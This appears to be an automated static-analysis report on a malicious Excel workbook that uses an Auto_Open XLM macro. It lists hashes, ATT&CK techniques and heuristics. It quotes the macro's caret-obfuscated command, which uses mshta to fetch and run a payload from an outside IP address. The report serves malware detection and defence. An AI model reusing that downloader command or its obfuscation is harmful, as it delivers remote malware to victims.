Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 be5684befe36a019…

MALICIOUS

Office (OLE) / .XLSX

62.1 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 10850b2d728ad6040d089ab8c3f40680 SHA-1: e607654b5c7a280891fd020d16ba71038553e56d SHA-256: be5684befe36a019ae8d6f8492eec5ce265d9695aa76e242c46c9eeb2cd76561
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical indicator of malicious intent. The document body explicitly instructs the user to "Enable Editing" and "Enable Content" to view the content, a common social engineering lure. The extracted macro contains the string "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html", indicating that upon opening, the macro will execute a command to download a secondary payload from the specified URL. This functionality aligns with a downloader attack pattern.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1514 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.